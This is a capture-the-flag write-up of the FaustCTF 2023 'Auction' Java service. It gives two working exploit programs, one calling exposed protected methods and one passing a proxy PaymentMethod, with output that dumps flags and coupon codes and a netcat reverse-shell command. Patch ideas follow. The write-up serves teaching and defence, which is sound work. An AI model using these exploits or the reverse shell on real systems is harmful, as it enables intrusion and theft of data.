Saarsec

saarsec

Schwenk and pwn

FaustCTF 2023 - Auction

Auction

Auction is a java service from FaustCTF 2023. It features an auction system based on a custom RPC protocol implementation with two flaws. One is related to reflection and permissions, while the second one is essentially a type confusion using Java’s proxys.

Service Overview

As the name already tells, this service handles auctions. Users can sell their content (a string) by registering an auction, similar to ebay. The auction can be traditional (“normal”, where users bid and the highest bidder receives the result). Alternatively, an auction can have a fixed price that users can pay (without having to bid first). Flags are stored in the content field of auctions with the fixed price 100.

There are two methods to pay for a bid or buy action: “wallet” and “coupon”. Wallets have a value of 10 by default and there is no method to recharge them, so no flag can be bought by wallet. Coupons are per auctions, and the gameserver uses the coupon to buy and retrieve the flag.

The Protocol

The communication between server and client is based on a custom RPC (remote procedure call) protocol. TCP Port 12345 contains a registry that exposes Java objects and assigns them an ID. TCP Port 12346 is then an interface to the actual exposed object.

The protocol itself transmits serialized Java object instances - either RPCRequest or RPCResponse. When receiving a RPC request, the server would invoke getObject(objectID)(...args) and respond with a RPC response containing the method’s return value.

public class RPCRequest implements Serializable {
    private int objectID;        // identifies an API object
    private Object[] args;       // invocation arguments
    private String methodName;   // invocation method
    private String rpcID;
    private int sequenceNumber;
    private String clientID;
}

public class RPCResponse implements Serializable {
    private Object object;       // return value of method
    private String rpcID;        // from request
    private int sequenceNumber;  // from request
}

But which classes and methods are exposed? The server registers only one object with the RPC system: an instance of AuctionServiceImpl. The client, in turn, registers only itself (AuctionClient). The method ReflectionHelper::collectAllRemoteMethodsFromClass returns a list of existing methods by exploring a given class and each superclass or interface. For the server’s class AuctionServiceImpl, the result was (class paths shorted for readability):

// Interface AuctionService + AuctionServiceImpl
public abstract boolean AuctionService.placeBid(String,String,int,AuctionEventHandler) throws AuctionException,RemoteException;
public synchronized boolean AuctionServiceImpl.placeBid(String,String,int,AuctionEventHandler) throws AuctionException,RemoteException;
public abstract model.AuctionEntry[] AuctionService.getAuctions() throws RemoteException;
public model.AuctionEntry[] AuctionServiceImpl.getAuctions() throws RemoteException;
public abstract String AuctionService.buy(String,model.PaymentMethod) throws AuctionException,RemoteException;
public String AuctionServiceImpl.buy(String,model.PaymentMethod) throws AuctionException,RemoteException;
public abstract String AuctionService.registerAuction(model.AuctionEntry,int,AuctionEventHandler) throws AuctionException,RemoteException;
public String AuctionServiceImpl.registerAuction(model.AuctionEntry,int,AuctionEventHandler) throws AuctionException,RemoteException;

// AuctionServiceImpl only - unintentionally exposed (!)
protected synchronized ConcurrentHashMap AuctionServiceImpl.load();
protected synchronized void AuctionServiceImpl.save();
protected void AuctionServiceImpl.onAuctionEnd(String);
private static model.AuctionEntry[] AuctionServiceImpl.lambda$getAuctions$1(int);
private static model.AuctionEntry[] AuctionServiceImpl.lambda$save$4(int);
private static void AuctionServiceImpl.lambda$placeBid$2(AuctionEventHandler,model.AuctionEntry);
private String AuctionServiceImpl.generateRandomString(int);
private void AuctionServiceImpl.lambda$load$5(model.AuctionEntry);
private void AuctionServiceImpl.lambda$load$6(ConcurrentHashMap,model.AuctionEntry);
private void AuctionServiceImpl.lambda$onAuctionEnd$3(String);
private void AuctionServiceImpl.lambda$registerAuction$0(model.AuctionEntry);

Vulnerability 1: Invoke protected methods

We can see that collectAllRemoteMethodsFromClass includes not only the interface AuctionService that was intended to be exposed. The implementation class, including private and protected methods, is included as well. However, the RPCInvocationHandler cannot invoke private methods, because the JVM forbids it by default. But protected methods are invokable.

The Exploit

We target the method AuctionServiceImpl.load(), which would load all auctions from the database file and return them in a map. For convenience this map is serializable. We manually open a connection to the service and send a hand-crafted RPCRequest with the protected method as its name. We got the full, qualified method name from a manual execution of ReflectionHelper::collectAllRemoteMethodsFromClass. The server will answer this request with a ConcurrentHashMap that contains all auctions, including all flags.

package de.faust.auction;

import de.faust.auction.communication.RPCConnection;
import de.faust.auction.communication.RPCObjectConnection;
import de.faust.auction.communication.RPCRequest;
import de.faust.auction.communication.RPCResponse;
import de.faust.auction.model.AuctionEntry;

import java.net.Socket;
import java.rmi.server.RMISocketFactory;
import java.util.UUID;
import java.util.concurrent.ConcurrentHashMap;

public class Exploit1 {
    public static void main(String[] args) throws Exception {
        String registryHost = args.length > 0 ? args[0] : "::1";
        String clientID = UUID.randomUUID().toString();

        RPCConnection.enableTimeouts();
        Socket socket = RMISocketFactory.getSocketFactory().createSocket(registryHost, 12346);
        RPCObjectConnection conn = new RPCObjectConnection(socket);
        conn.sendObject(new RPCRequest(
                0,                            /* object id - always 0 */
                "protected synchronized java.util.concurrent.ConcurrentHashMap<java.lang.String, de.faust.auction.model.AuctionEntry> de.faust.auction.AuctionServiceImpl.load()",
                new Object[]{},               /* arguments (none) */
                clientID,                     /* some GUID */
                UUID.randomUUID().toString(), /* RPC id */
                0
        ));
        RPCResponse result = (RPCResponse) conn.receiveObject();
        System.out.println("Result: " + result.getObject().getClass());
        ConcurrentHashMap<String, AuctionEntry> map = (ConcurrentHashMap<String, AuctionEntry>) result.getObject();
        for (AuctionEntry entry : map.values()) {
            System.out.println(
                    entry.getName() + " " + entry.getContent() + 
                    " coupon " + entry.getCouponCode()
            );
        }
    }
}
$ java -jar Exploit1.jar "[fd66:666:388::2]"
Result: class java.util.concurrent.ConcurrentHashMap
O2j1VbXzR9GDnQha FAUST_Q1RGLSJPpR1TRXiTRNZIQCf857P1n7fG coupon 025f1e20b9f44704b75ae6e226bbdad9
1VI41ZBjj5PspHSk OZiMD6SvRkITJo coupon null
9QMLGqqYIkxtUprC /bin/sh -c "/bin/netcat -e /bin/sh fd66:666:357::2 43278" coupon fd78285ab0b043039e9e5803c9ce0b29
bvInk1Vk7i7lTrV0 FAUST_Q1RGLSJPpzFTRW87RNagASkqhb5F0Iue coupon a2418eb60f6848499a67ab2cd68eea32
dObuczAr0tGt9UhR FAUST_Q1RGLSJPpElTRWKrRNarwzi8RhBSSSyU coupon 1d3efc3b696b4e839cc5e4f41037a491
pluBInGMAGRZ0yOX FAUST_Q1RGLSJPpIVTRWVjRNbTo4NBbMj90WnH coupon affe0cd7f2b14780bb2ef023bce788ff
mgSlKoyQUy7fQizm FAUST_Q1RGLSJPquFTRXbbRNYUx25aellxUldp coupon afcf964c40e3410e983d950de2c1e259
8LBzWf6wZFqCK6lI FAUST_Q1RGLSJPpplTRRuIRNYO4RSz0A5FvRyL coupon 24415b6b221c48e38e0df80af43213c8
bftgmUK4PhcL59fh FAUST_Q1RGLSJPpm1TRRHwRNbumUe+yRttDXeq coupon d8fb1e519bcc482ebc1e1afeadfab1e7

As you can see from the output, flags were contained in the content field of the auctions. We furthermore noticed some strange reverse shell-like commands in the output /bin/sh -c "/bin/nc -e /bin/sh. But the IPs changed too often, so we assumed that’s just trolling from the gameserver.

Patching

We patched RPCRemoteObjectManager::invokeMethod with a check on the genericMethodName parameter. If it contains protected we deny the request. A proper patch would only expose the interface AuctionService and not the class AuctionServiceImpl, but at this point in the CTF we didn’t have much insights about these details.

Vulnerability 2: Proxy objects

When you directly buy an action, you have to pass a PaymentMethod instance over the RPC protocol to the method public String buy(String auctionName, PaymentMethod paymentMethod);. In the source code, there are only two classes that implement this interface: Coupon and Wallet. But the RPC protocol makes regular use of Proxy classes that relay calls to another machine. For example, the AuctionEventHandler interface is essentially a callback that allows the server to invoke a method in the client. Instead of a normal PaymentMethod instance, we can pass a Proxy object to a custom instance in our own server. In that server, we can patch out the balance check. The buy method will accept the proxy class, and we bypass the balance check.

We did not discover this vulnerability during the CTF (because we were looking at other services), but learned about it in Faust’s Discord after the game (thanks to [FAUST] nename0).

The Exploit

First, we have to patch PaymentMethod to implement Remote in our codebase (for the client, not for the server):

public interface PaymentMethod extends Serializable, Remote { /* ... */ }

Next, we create our own class that implements PaymentMethod, similar how AuctionClient implements AuctionEventHandler. Our canBuy implementation always returns true. Finally, we invoke the remote AuctionService with this instance.

package de.faust.auction;

import de.faust.auction.communication.RPCConnection;
import de.faust.auction.communication.RPCServer;
import de.faust.auction.model.AuctionEntry;
import de.faust.auction.model.PaymentMethod;

import java.io.Serializable;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class ExploitRemotePayment implements PaymentMethod, Serializable {
    public void perform_attack(String registryHost, int registryPort) throws Exception {
        /* establish client connection */
        RPCConnection.enableTimeouts();
        RPCRemoteObjectManager.getInstance().exportObject(this);
        Registry registry = LocateRegistry.getRegistry(registryHost, registryPort);
        AuctionService auctionService = (AuctionService) registry.lookup("auctionService");

        /* list auction */
        for (AuctionEntry entry : auctionService.getAuctions()) {
            try {
                /* buy with remote object (=this) */
                String flag = auctionService.buy(entry.getName(), this);
                System.out.println(entry.getName() + ": " + flag);
            } catch (AuctionException e) {
                System.out.println(e.getMessage());
            }
        }
    }

    @Override
    public boolean canBuy(int price, String couponCode) {
        System.out.println("canBuy invoked: price=" + price + " coupon=" + couponCode);
        return true;
    }


    public static void main(String[] args) throws Exception {
        String registryHost = args.length > 0 ? args[0] : "[::1]";
        new ExploitRemotePayment().perform_attack(registryHost, 12345);
    }
}
$ java -jar Exploit2.jar "[fd66:666:807::2]"
canBuy invoked: price=100 coupon=c11eff4446ab4aea87389b931f06c1f2
auFEPNfrrwmqNWBl: FAUST_Q1RGLSJOHFlTRoH6RnX21zyfKPWeabkW
canBuy invoked: price=100 coupon=0243177ae0fe4ee4b5a8428ee5f8d065
6oBOxnaPZTnsY5Np: FAUST_Q1RGLSJOHqlTRr76RnWTl4lJW1juYR1b

On a side node, this exploit also leaks the coupon code that we could use to retrieve the flag. This could have been an opportunity to make the exploit more stealth.

Patching

If we would have found this in the CTF, we would add isinstance checks in the method buy.

Summary

This was a really interesting service that shows how easy it is to do type-safe RPC in java, but also how easy it can go wrong. We actually got the exploit very quick (9 minutes after network opened) - actually before we had understood most of the service. Not only did we receive first blood, but also captured 12k flags in the entire game.